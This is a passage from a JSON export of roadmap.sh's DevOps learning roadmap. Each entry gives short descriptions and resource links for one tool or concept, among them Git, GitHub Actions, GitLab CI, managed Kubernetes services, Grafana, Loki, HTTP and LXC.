    "content": "# Git\n\nGit is a distributed version control system designed to track changes in source code during software development. It allows multiple developers to work on the same project simultaneously, maintaining a complete history of modifications. Git features local repositories on each developer's machine, enabling offline work and fast operations. It supports non-linear development through branching and merging, facilitating parallel work streams. Git's distributed nature enhances collaboration, backup, and experimentation. Key concepts include commits, branches, merges, and remote repositories. With its speed, flexibility, and robust branching and merging capabilities, Git has become the standard for version control in modern software development, powering platforms like GitHub and GitLab.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git Documentation](https://git-scm.com/doc)\n- [@course@Git by Example - Learn Version Control with Bite-sized Lessons](https://antonz.org/git-by-example/)\n- [@article@Learn Git with Tutorials, News and Tips - Atlassian](https://www.atlassian.com/git)\n- [@article@Git Cheat Sheet](https://cs.fyi/guide/git-cheatsheet)\n- [@video@Git & GitHub Crash Course For Beginners](https://www.youtube.com/watch?v=vA5TTz6BXhY)\n- [@video@Git for Professionals Tutorial](https://www.youtube.com/watch?v=Uszj_k0DGsg)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/github-actions@JnWVCS1HbAyfCJzGt-WOH.md",
    "content": "# GitHub Actions\n\nGitHub Actions is GitHub’s built-in automation platform that lets you run workflows directly from your repository, such as building, testing, and deploying code, triggered by events like pushes, pull requests, or schedules.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@opensource@Awesome GitHub Actions](https://github.com/sdras/awesome-actions)\n- [@article@Understanding GitHub Actions](https://docs.github.com/en/actions/about-github-actions/understanding-github-actions)\n- [@article@GitHub Actions Guide](https://octopus.com/devops/github-actions/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-github-actions)\n- [@video@What is GitHub Actions?](https://www.youtube.com/watch?v=URmeTqglS58)\n- [@video@GitHub Actions Tutorial - Basic Concepts and CI/CD Pipeline](https://www.youtube.com/watch?v=R8_veQiYBjI)\n- [@video@Automate your Workflow with GitHub Actions](https://www.youtube.com/watch?v=nyKZTKQS_EQ)"
  },
  {
    "path": "src/data/roadmaps/devops/content/github@ot9I_IHdnq2yAMffrSrbN.md",
    "content": "# GitHub\n\nGitHub is Microsoft's web-based platform for hosting Git repositories, offering collaborative features like pull requests, issues, GitHub Actions CI/CD, and project boards. For DevOps engineers it is the central hub for source control, code review, and triggering automated deployment pipelines.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Git & GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com)\n- [@official@GitHub Documentation](https://docs.github.com/en)\n- [@article@GitHub Flow](https://docs.github.com/en/get-started/using-github/github-flow)\n- [@article@How to Use Git in a Professional Dev Team](https://ooloo.io/project/github-flow)\n- [@video@What is GitHub?](https://www.youtube.com/watch?v=pBy1zgt0XPc)\n- [@video@GitHub for Beginners - Full Course](https://www.youtube.com/watch?v=RGOj5yH7evk)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/gitlab-ci@2KjSLLVTvl2G2KValw7S7.md",
    "content": "# GitLab CI\n\nGitLab CI is an integrated continuous integration and delivery platform within the GitLab ecosystem. It automates the process of building, testing, and deploying code changes through pipelines defined in YAML files. GitLab CI offers features like parallel execution, container registry integration, and auto-DevOps, enabling teams to implement robust CI/CD workflows directly from their GitLab repositories without additional tools or infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab Website](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@article@GitLab CI/CD Pipeline Tutorial](https://octopus.com/devops/gitlab/gitlab-cicd-tutorial/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-gitlab-ci)\n- [@video@GitLab CI/CD Pipeline Tutorial for Beginners (2024)](https://www.youtube.com/watch?v=z7nLsJvEyMY)"
  },
  {
    "path": "src/data/roadmaps/devops/content/gitlab@oQIB0KE0BibjIYmxrpPZS.md",
    "content": "# GitLab\n\nGitLab is a web-based DevOps lifecycle tool that provides a Git repository manager with wiki, issue tracking, and CI/CD pipeline features. It offers a complete DevOps platform, delivered as a single application, covering the entire software development lifecycle from planning to monitoring. GitLab supports both cloud-hosted and self-hosted options, catering to various organizational needs. Key features include integrated CI/CD, container registry, package registry, and security scanning tools. It emphasizes innersource methodologies, allowing teams to collaborate more effectively within an organization. GitLab's built-in DevOps capabilities, coupled with its focus on a single, integrated platform, make it popular for organizations seeking to streamline their development processes and implement DevOps practices efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab Website](https://gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)\n- [@video@GitLab Explained: What is GitLab and Why Use It?](https://www.youtube.com/watch?v=bnF7f1zGpo4)\n- [@feed@Explore top posts about GitLab](https://app.daily.dev/tags/gitlab?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/gitops@-INN1qTMLimrZgaSPCcHj.md",
    "content": "# GitOps\n\nGitOps is a way of managing infrastructure and application deployments by storing the desired state in a Git repository and using automation to apply changes. It treats Git as the single source of truth, so updates are made by committing changes to the repo, and automated tools reconcile the actual system state with what’s in Git.\n\nVisit the following resources to learn more:\n\n- [@article@What is GitOps](https://octopus.com/devops/gitops/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-gitops)\n- [@article@GitOps Interactive Benefits Diagram](https://octopus.com/devops/gitops/interactive-diagrams/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-gitops)\n- [@article@GitOps Maturity Model](https://octopus.com/devops/gitops/gitops-maturity-model/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-gitops)\n- [@video@What is GitOps, How GitOps works and Why it's so useful](https://www.youtube.com/watch?v=f5EpcWp0THw)\n- [@feed@Explore top posts about GitOps](https://app.daily.dev/tags/gitops?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/gke--eks--aks@XbrWlTyH4z8crSHkki2lp.md",
    "content": "# GKE / EKS / AKS\n\nGKE - Google Kubernetes Engine\n------------------------------\n\nGoogle Kubernetes Engine (GKE) is a managed Kubernetes service provided by Google Cloud Platform. It allows organizations to deploy, manage, and scale containerized applications using Kubernetes orchestration. GKE automates cluster management tasks, including upgrades, scaling, and security patches, while providing integration with Google Cloud services. It offers features like auto-scaling, load balancing, and private clusters, enabling developers to focus on application development rather than infrastructure management.\n\nEKS - Amazon Elastic Kubernetes Service\n---------------------------------------\n\nAmazon Elastic Kubernetes Service (EKS) is a managed Kubernetes platform provided by AWS. It simplifies the deployment, management, and scaling of containerized applications using Kubernetes. EKS automatically handles the Kubernetes control plane, ensuring high availability and security patches. It integrates seamlessly with other AWS services, supports both EC2 and Fargate launch types, and offers features like managed node groups and cluster autoscaling, enabling organizations to run Kubernetes workloads efficiently without the operational overhead of managing the Kubernetes infrastructure.\n\nAKS - Azure Kubernetes Service\n------------------------------\n\nAzure Kubernetes Service (AKS) is Microsoft's managed Kubernetes offering in the Azure cloud platform. It simplifies the deployment, management, and scaling of containerized applications using Kubernetes. AKS handles critical tasks such as health monitoring and maintenance of the Kubernetes control plane, while providing seamless integration with Azure services like Azure Active Directory, Azure Monitor, and Azure Container Registry. It offers features such as automatic scaling, Azure DevOps integration, and support for Windows containers, enabling organizations to focus on application development and innovation rather than cluster management.\n\nVisit the following resources to learn more:\n\n- [@official@GKE](https://cloud.google.com/kubernetes-engine)\n- [@official@EKS](https://aws.amazon.com/eks/)\n- [@official@AKS](https://azure.microsoft.com/en-us/products/kubernetes-service/)\n- [@video@AWS EKS Tutorial](https://www.youtube.com/watch?v=CukYk43agA4)\n- [@video@What is Google Kubernetes Engine (GKE)?](https://www.youtube.com/watch?v=Rl5M1CzgEH4)\n- [@video@AWS EKS Tutorial](https://www.youtube.com/watch?v=CukYk43agA4)"
  },
  {
    "path": "src/data/roadmaps/devops/content/go@npnMwSDEK2aLGgnuZZ4dO.md",
    "content": "# Go\n\nGo, also known as Golang, is a statically typed, compiled programming language developed by Google. It emphasizes simplicity, efficiency, and built-in concurrency support. Go features fast compilation, garbage collection, and a robust standard library. Its syntax is clean and concise, promoting easy readability and maintainability. Go's goroutines and channels provide powerful tools for concurrent programming. The language is particularly well-suited for system programming, network services, and cloud-native applications. Go's efficient memory usage and quick execution make it popular for building scalable server-side applications and microservices. With its focus on simplicity and performance, Go has gained significant adoption in DevOps tooling, containerization technologies, and cloud infrastructure projects.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Making a RESTful JSON API in Go](https://thenewstack.io/make-a-restful-json-api-go/)\n- [@course@Go Programming Language - freeCodeCamp](https://www.youtube.com/watch?v=un6ZyFkqFKo)\n- [@video@Go in 100 Seconds](https://www.youtube.com/watch?v=446E-r0rXHI)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/google-cloud@zYrOxFQkl3KSe67fh3smD.md",
    "content": "# Google Cloud\n\nGoogle Cloud is Google's cloud computing service offering, providing over 150 products/services to choose from. It consists of a set of physical assets, such as computers and hard disk drives, and virtual resources, such as virtual machines(VMs), that are contained in Google's data centers. It runs on the same infrastructure that Google uses internally for its end-user products, such as Search, Gmail, Google Drive, and YouTube.\n\nVisit the following resources to learn more:\n\n- [@official@Google Cloud](https://cloud.google.com/)\n- [@article@5 Tips to Become a Google Cloud Certified Professional Architect](https://thenewstack.io/5-tips-to-become-a-google-cloud-certified-professional-architect/)\n- [@video@Google Cloud Platform Full Course 2023](https://www.youtube.com/watch?v=fZOz13joN0o)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/grafana@niA_96yR7uQ0sc6S_OStf.md",
    "content": "# Grafana\n\nGrafana is an open-source analytics and interactive visualization web application. It connects to various data sources, including time-series databases, relational databases, and cloud services, to create customizable dashboards. Grafana excels at visualizing time-series data for infrastructure and application analytics, supporting a wide range of chart types and plugins. It features alerting capabilities, user authentication, and role-based access control. Grafana is commonly used for monitoring system metrics, application performance, and business analytics. Its flexibility and ability to combine data from multiple sources make it popular in DevOps environments for creating comprehensive monitoring solutions. Grafana's user-friendly interface and extensive customization options enable users to create visually appealing and informative dashboards for real-time data visualization and analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Grafana](https://grafana.com/)\n- [@official@Grafana Webinars and Videos](https://grafana.com/videos/)\n- [@video@Server Monitoring // Prometheus and Grafana Tutorial](https://www.youtube.com/watch?v=9TJx7QTrTyo)\n- [@feed@Explore top posts about Grafana](https://app.daily.dev/tags/grafana?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/graylog@s_kss4FJ2KyZRdcKNHK2v.md",
    "content": "# Graylog\n\nGraylog is an open-source log management platform designed to collect, index, and analyze log data from various sources in real-time. It provides a centralized system for log aggregation, search, and analysis, making it easier to troubleshoot issues, monitor system health, and ensure security compliance. Graylog features a scalable architecture, supporting high-volume log processing, and offers a web interface for log exploration and dashboard creation. It includes features like alerting, role-based access control, and data retention policies. Graylog supports multiple input types, including syslog, GELF, and raw TCP/UDP, and can integrate with various external systems. Its flexibility and powerful search capabilities make it popular for IT operations, security monitoring, and compliance management in diverse environments.\n\nVisit the following resources to learn more:\n\n- [@official@Graylog Website](https://www.graylog.org/)\n- [@official@Product Videos](https://www.graylog.org/resources-videos)\n- [@opensource@Graylog2/graylog2-server](https://github.com/Graylog2/graylog2-server)"
  },
  {
    "path": "src/data/roadmaps/devops/content/heroku@FaPf567JGRAg1MBlFj9Tk.md",
    "content": "# Heroku\n\nHeroku is a cloud platform as a service (PaaS) that enables developers to build, run, and operate applications entirely in the cloud. It supports several programming languages and offers a simple, streamlined deployment process using Git. Heroku abstracts away much of the infrastructure management, allowing developers to focus on code rather than server maintenance. It provides features like automatic scaling, continuous integration/deployment pipelines, and add-ons for databases and other services. Heroku's dyno-based architecture allows for easy scaling of applications. While particularly popular among startups and for rapid prototyping due to its ease of use, Heroku also serves larger applications. Its ecosystem includes a marketplace of third-party add-ons, enhancing functionality for various development needs.\n\nVisit the following resources to learn more:\n\n- [@official@Heroku Website](https://www.heroku.com/)\n- [@video@What is Heroku?](https://www.youtube.com/watch?v=IB0V8wWsCsc)\n- [@feed@Explore top posts about Heroku](https://app.daily.dev/tags/heroku?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/hetzner@I327qPYGMcdayRR5WT0Ek.md",
    "content": "# Hetzner\n\nHetzner is a German web hosting company and data center operator known for offering high-quality, cost-effective dedicated servers, virtual private servers (VPS), and cloud solutions. They provide a range of hosting services including shared hosting, managed servers, and colocation. Hetzner is particularly popular among developers and small to medium-sized businesses for its competitive pricing on powerful hardware. Their cloud platform offers flexible, scalable resources with a straightforward pricing model. Hetzner is recognized for its robust infrastructure, reliable network connectivity, and customer-friendly approach. While not as feature-rich as some larger cloud providers, Hetzner's focus on providing high-performance hardware at affordable prices has earned it a strong reputation in the hosting community.\n\nVisit the following resources to learn more:\n\n- [@official@Hetzner Website](https://www.hetzner.com/)\n- [@article@How To Setup Hetzner Cloud Server To Host Your Websites](https://runcloud.io/blog/hetzner)\n- [@video@Coolify Crash Course | Self Host 101](https://www.youtube.com/watch?v=taJlPG82Ucw)"
  },
  {
    "path": "src/data/roadmaps/devops/content/http@ke-8MeuLx7AS2XjSsPhxe.md",
    "content": "# HTTP\n\nHTTP (Hypertext Transfer Protocol) is the foundation of data communication on the World Wide Web. It's an application-layer protocol that enables the transfer of various types of data, primarily web pages and their components, between clients (usually web browsers) and servers. HTTP operates on a request-response model, where clients send requests for resources, and servers respond with the requested data or error messages. It's stateless by design, meaning each request is independent of previous ones. HTTP supports various methods (GET, POST, PUT, DELETE, etc.) for different types of operations. While originally designed for plain-text transmission, HTTPS, its secure version using encryption, is now widely adopted to protect data in transit.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What is HTTP?](https://www.cloudflare.com/en-gb/learning/ddos/glossary/hypertext-transfer-protocol-http/)\n- [@article@An overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@video@HTTP/1 to HTTP/2 to HTTP/3](https://www.youtube.com/watch?v=a-sBfyiXysI)\n- [@video@HTTP Crash Course & Exploration](https://www.youtube.com/watch?v=iYM2zFP3Zn0)"
  },
  {
    "path": "src/data/roadmaps/devops/content/https@AJO3jtHvIICj8YKaSXl0U.md",
    "content": "# HTTPS\n\nHTTPS (Hypertext Transfer Protocol Secure) is the secure version of HTTP, encrypting data exchanged between a client and a server. It uses SSL/TLS protocols to provide authentication, data integrity, and confidentiality. HTTPS prevents eavesdropping, tampering, and man-in-the-middle attacks by encrypting all communications. It uses digital certificates to verify the identity of websites, enhancing trust and security. HTTPS is crucial for protecting sensitive information like login credentials and financial data. It has become the standard for secure web communication, with major browsers marking non-HTTPS sites as \"not secure.\" HTTPS also provides SEO benefits and is essential for many modern web features and progressive web applications.\n\nVisit the following resources to learn more:\n\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)\n- [@article@Why HTTPS Matters](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/why-https)\n- [@article@Enabling HTTPS on Your Servers](https://developers.google.com/web/fundamentals/security/encrypt-in-transit/enable-https)\n- [@article@How HTTPS works (comic)](https://howhttps.works/)\n- [@video@Does HTTPS REALLY Keep You Safe?](https://www.youtube.com/watch?v=25mXesOV9-8)"
  },
  {
    "path": "src/data/roadmaps/devops/content/iis@5iJOE1QxMvf8BQ_8ssiI8.md",
    "content": "# MS IIS\n\nMicrosoft Internet Information Services (IIS) is a flexible, secure and manageable Web server for hosting anything on the Web. It's an extensible web server created by Microsoft for use with Windows NT family. IIS supports HTTP, HTTPS, FTP, FTPS, SMTP and NNTP. It's been an integral part of the Windows NT family since Windows NT 4.0, and is included with Windows Server versions. IIS features a modular architecture, allowing administrators to customize server functionality. It supports various programming languages and frameworks, particularly [ASP.NET](http://ASP.NET). IIS provides tools for web application deployment, security management, and performance optimization, making it a popular choice for hosting Windows-based web applications in enterprise environments.\n\nVisit the following resources to learn more:\n\n- [@official@Microsoft IIS](https://www.iis.net/)\n- [@video@Learn Windows Web Server IIS](https://www.youtube.com/watch?v=1VdxPWwtISA)\n- [@feed@Explore top posts about .NET](https://app.daily.dev/tags/.net?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/imap@WMuXqa4b5wyRuYAQKQJRj.md",
    "content": "# IMAP\n\nIMAP (Internet Message Access Protocol) is a standard email protocol that allows email clients to access messages stored on a mail server. Unlike POP3, IMAP keeps emails on the server, enabling access from multiple devices while maintaining synchronization. It supports folder structures, message flagging, and partial message retrieval, making it efficient for managing large volumes of emails. IMAP allows users to search server-side, reducing bandwidth usage. It's designed for long-term mail storage on the server, ideal for users who need to access their email from various devices or locations. IMAP's synchronization capabilities and server-side management features make it the preferred protocol for most modern email systems, especially in mobile and multi-device environments.\n\nVisit the following resources to learn more:\n\n- [@article@Wikipedia: Internet Message Access Protocol](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)\n- [@video@What are POP3, IMAP, and SMTP?](https://www.youtube.com/watch?v=gLNOVbcyWbI)"
  },
  {
    "path": "src/data/roadmaps/devops/content/infrastructure-monitoring@qqRLeTpuoW64H9LvY0U_w.md",
    "content": "# Infrastructure Monitoring\n\nMonitoring refers to the practice of making the performance and status of infrastructure visible. This section contains common tools used for monitoring. This is a very vendor-heavy space - use caution when studying materials exclusively from a given product or project, as there are many conflicting opinions and strategies in use. There is no single solution for the most substantially complex internet-facing applications, so understanding the pros and cons of these tools will be useful in helping you plan how to monitor a system for a given goal.\n\nVisit the following resources to learn more:\n\n- [@article@Best Practices to Optimize Infrastructure Monitoring within DevOps Teams](https://thenewstack.io/best-practices-to-optimize-infrastructure-monitoring-within-devops-teams/)\n- [@article@Seven Steps to Effective Cloud Native Infrastructure Monitoring](https://thenewstack.io/seven-steps-to-effective-cloud-native-infrastructure-monitoring/)\n- [@video@Infrastructure Monitoring Basics with Telegraf, Grafana and InfluxDB](https://www.youtube.com/watch?v=ESub4SAKouI)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/istio@XsSnqW6k2IzvmrMmJeU6a.md",
    "content": "# Istio\n\nIstio is an open source service mesh platform that provides a way to control how microservices share data with one another. It includes APIs that let Istio integrate into any logging platform, telemetry, or policy system. Istio is designed to run in a variety of environments: on-premise, cloud-hosted, in Kubernetes containers, in services running on virtual machines, and more.\n\nVisit the following resources to learn more:\n\n- [@article@What is Istio?](https://www.redhat.com/en/topics/microservices/what-is-istio)\n- [@video@Istio Service Mesh Explained](https://www.youtube.com/watch?v=6zDrLvpfCK4)\n- [@feed@Explore top posts about Istio](https://app.daily.dev/tags/istio?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/jaeger@8rd7T5ahK2I_zh5co-IF-.md",
    "content": "# Jaeger\n\nJaeger is an open-source, end-to-end distributed tracing system developed by Uber Technologies. It's designed to monitor and troubleshoot microservices-based distributed systems. Jaeger helps to track requests as they flow through complex distributed systems, identifying performance bottlenecks and understanding system behavior. It supports OpenTracing standards, allowing for vendor-neutral instrumentation of applications. Jaeger features include distributed context propagation, dependency analysis, and root cause analysis. It offers a web UI for visualizing traces and a flexible architecture supporting various storage backends. Jaeger is particularly useful in cloud-native environments, helping developers and operators understand latency issues, optimize performance, and debug problems in microservices architectures.\n\nVisit the following resources to learn more:\n\n- [@official@Jaeger](https://www.jaegertracing.io/)\n- [@official@Jaeger Documentation](https://www.jaegertracing.io/docs/1.37/)\n- [@opensource@jaegertracing/jaeger](https://github.com/jaegertracing/jaeger)"
  },
  {
    "path": "src/data/roadmaps/devops/content/javascript--nodejs@QCdemtWa2mE78poNXeqzr.md",
    "content": "# JavaScript\n\nJavaScript is a high-level, interpreted programming language primarily used for client-side web development. It enables interactive and dynamic content on web pages, allowing developers to create responsive user interfaces and complex web applications. JavaScript is a core technology of the World Wide Web, alongside HTML and CSS. It supports object-oriented, imperative, and functional programming paradigms. With the advent of Node.js, JavaScript has also become popular for server-side development. The language features dynamic typing, first-class functions, and prototype-based object-orientation. JavaScript's ubiquity in web browsers, extensive ecosystem of libraries and frameworks (like React, Angular, and Vue.js), and its versatility across front-end and back-end development have made it one of the most widely used programming languages in modern software development.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/jenkins@dUapFp3f0Rum-rf_Vk_b-.md",
    "content": "# Jenkins\n\nJenkins is an open-source automation server used to build, test, and deploy software, offering a wide range of plugins to support continuous integration and continuous delivery (CI/CD).\n\nVisit the following resources to learn more:\n\n- [@official@Jenkins Website](https://www.jenkins.io/)\n- [@official@Jenkins Getting Started Guide](https://www.jenkins.io/doc/pipeline/tour/getting-started/)\n- [@article@Jenkins Tutorial](https://octopus.com/devops/jenkins/jenkins-tutorial/?utm_source=roadmap&utm_medium=link&utm_campaign=devops-ci-cd-gitlab-ci)\n- [@video@Learn Jenkins! Complete Jenkins Course - Zero to Hero](https://www.youtube.com/watch?v=6YZvp2GwT0A)\n- [@feed@Explore top posts about Jenkins](https://app.daily.dev/tags/jenkins?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/kubernetes@hIBeTUiAI3zwUY6NgAO-A.md",
    "content": "# Kubernetes\n\nKubernetes is an open source container management platform, and the dominant product in this space. Using Kubernetes, teams can deploy images across multiple underlying hosts, defining their desired availability, deployment logic, and scaling logic in YAML. Kubernetes evolved from Borg, an internal Google platform used to provision and allocate compute resources (similar to the Autopilot and Aquaman systems of Microsoft Azure). The popularity of Kubernetes has made it an increasingly important skill for the DevOps Engineer and has triggered the creation of Platform teams across the industry. These Platform engineering teams often exist with the sole purpose of making Kubernetes approachable and usable for their product development colleagues.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Kubernetes Roadmap](https://roadmap.sh/kubernetes)\n- [@official@Kubernetes Website](https://kubernetes.io/)\n- [@opensource@kubernetes/kubernetes](https://github.com/kubernetes/kubernetes)\n- [@article@Primer: How Kubernetes Came to Be, What It Is, and Why You Should Care](https://thenewstack.io/primer-how-kubernetes-came-to-be-what-it-is-and-why-you-should-care/)\n- [@article@Kubernetes: An Overview](https://thenewstack.io/kubernetes-an-overview/)\n- [@video@ Complete Kubernetes Course - From BEGINNER to PRO ](https://www.youtube.com/watch?v=2T86xAtR6Fo)\n- [@feed@Explore top posts about Kubernetes](https://app.daily.dev/tags/kubernetes?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/learn-a-programming-language@v5FGKQc-_7NYEsWjmTEuq.md",
    "content": "# Learn a Language\n\nLearning a programming language is a valuable skill in today's world, opening doors to various opportunities, including automation, web development, data analysis, and more. Choosing the right language depends on your specific goals and interests. For beginners, Python is often recommended due to its easy-to-read syntax and wide range of applications. Learning a programming language is a rewarding journey. Start with a language that interests you and explore!\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Picking a Language for DevOps](https://cs.fyi/guide/programming-language-for-devops)"
  },
  {
    "path": "src/data/roadmaps/devops/content/linkerd@hhoSe4q1u850PgK62Ubau.md",
    "content": "# Linkerd\n\nLinkerd is an open source service mesh designed to be deployed into a variety of container schedulers and frameworks such as Kubernetes. It became the original “service mesh” when its creator Buoyant first coined the term in 2016. Like Twitter’s Finagle, on which it was based, Linkerd was first written in Scala and designed to be deployed on a per-host basis. Linkerd is one of the first products to be associated with the term service mesh and supports platforms such as Docker and Kubernetes.\n\nVisit the following resources to learn more:\n\n- [@official@Linkerd Website](https://linkerd.io/)\n- [@article@What is Linkerd?](https://www.techtarget.com/searchitoperations/definition/Linkerd)\n- [@video@What is the Linkerd service mesh?](https://www.youtube.com/watch?v=up3fKwXdEgc)\n- [@feed@Explore top posts about Infrastructure](https://app.daily.dev/tags/infrastructure?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/load-balancer@i8Sd9maB_BeFurULrHXNq.md",
    "content": "# Load Balancer\n\nLoad Balancer acts as the **traffic cop** sitting in front of your servers and routing client requests across all servers capable of fulfilling those requests in a manner that maximizes speed and capacity utilization and ensures that no one server is overworked. If one of the servers goes down, the load balancer redirects traffic to the remaining online servers.\n\nVisit the following resources to learn more:\n\n- [@article@What is Load Balancing?](https://www.nginx.com/resources/glossary/load-balancing/)\n- [@article@Load Balancing concepts and algorithms](https://www.cloudflare.com/en-gb/learning/performance/what-is-load-balancing/)\n- [@article@NGINX Reverse Proxy and Load Balancing](https://dzone.com/articles/nginx-reverse-proxy-and-load-balancing)\n- [@video@What is a Load Balancer?](https://www.youtube.com/watch?v=sCR3SAVdyCc)"
  },
  {
    "path": "src/data/roadmaps/devops/content/logs-management@gaoZjOYmU0J5aM6vtLNvN.md",
    "content": "# Logs Management\n\nLog management is the process of handling log events generated by all software applications and infrastructure on which they run. It involves log collection, aggregation, parsing, storage, analysis, search, archiving, and disposal, with the ultimate goal of using the data for troubleshooting and gaining business insights, while also ensuring the compliance and security of applications and infrastructure.\n\nVisit the following resources to learn more:\n\n- [@official@Log Management: What DevOps Teams Need to Know](https://devops.com/log-management-what-devops-teams-need-to-know/)\n- [@article@Introduction to Logs Management](https://sematext.com/guides/log-management)\n- [@article@Logging for Kubernetes: What to Log and How to Log It](https://thenewstack.io/logging-for-kubernetes-what-to-log-and-how-to-log-it/)"
  },
  {
    "path": "src/data/roadmaps/devops/content/loki@w2eCgBC-ydMHSxh7LMti8.md",
    "content": "# Loki\n\nLoki is a horizontally-scalable, highly-available, multi-tenant log aggregation system designed by Grafana Labs. It's purpose-built to be cost-effective and easy to operate, making it particularly well-suited for storing and querying logs from Kubernetes clusters. Loki indexes metadata about logs rather than the full text, which allows it to be more resource-efficient than traditional log management systems. It uses the same querying language as Prometheus (LogQL), making it easier for users familiar with Prometheus to adopt. Loki integrates seamlessly with Grafana for visualization and is often used alongside Prometheus and Grafana in cloud-native observability stacks. Its design focuses on simplicity, making it an attractive option for organizations looking for efficient log management in containerized environments.\n\nVisit the following resources to learn more:\n\n- [@official@Loki](https://grafana.com/oss/loki/)\n- [@official@Loki Documentation](https://grafana.com/docs/loki/latest/?pg=oss-loki&plcmt=quick-links)\n- [@video@Meet Grafana LOKI, a Log Aggregation System for EVERYTHING](https://www.youtube.com/watch?v=h_GGd7HfKQ8)\n- [@feed@Explore top posts about Grafana](https://app.daily.dev/tags/grafana?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/lxc@qYRJYIZsmf-inMqKECRkI.md",
    "content": "# LXC\n\nLXC (Linux Containers) is an operating system-level virtualization method for running multiple isolated Linux systems on a single host using a single Linux kernel. It provides a lightweight alternative to full machine virtualization, offering near-native performance and density. LXC uses Linux kernel features like cgroups and namespaces to create containers that have their own process and network space, while sharing the same kernel as the host system. This technology allows for efficient resource utilization and rapid deployment of applications. LXC is often used for creating development environments, testing, and running multiple isolated services on a single machine. While similar in concept to Docker, LXC provides a more system-container approach compared to Docker's application-container focus.\n\nVisit the following resources to learn more:\n\n- [@official@LXC Website](https://linuxcontainers.org/)\n- [@official@LXC Documentation](https://linuxcontainers.org/lxc/documentation/)\n- [@video@Getting started with LXC containers](https://www.youtube.com/watch?v=CWmkSj_B-wo)\n- [@video@LXC - Guide to building a LXC Lab](https://www.youtube.com/watch?v=cqOtksmsxfg)"
  },
  {
    "path": "src/data/roadmaps/devops/content/management-and-monitoring@8kby89epyullS9W7uKDrs.md",
    "content": "# Management and Monitoring\n\nDevOps management and monitoring entails overseeing the entire development process from planning, development, integration and testing, deployment, and operations. It involves a complete and real-time view of the status of applications, services, and infrastructure in the production environment. Features such as real-time streaming, historical replay, and visualizations are critical components of application and service monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@Management and Monitoring Get Started Guide](https://www.atlassian.com/devops/devops-tools/devops-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops/content/netbsd@haiYSwNt3rjiiwCDszPk1.md",
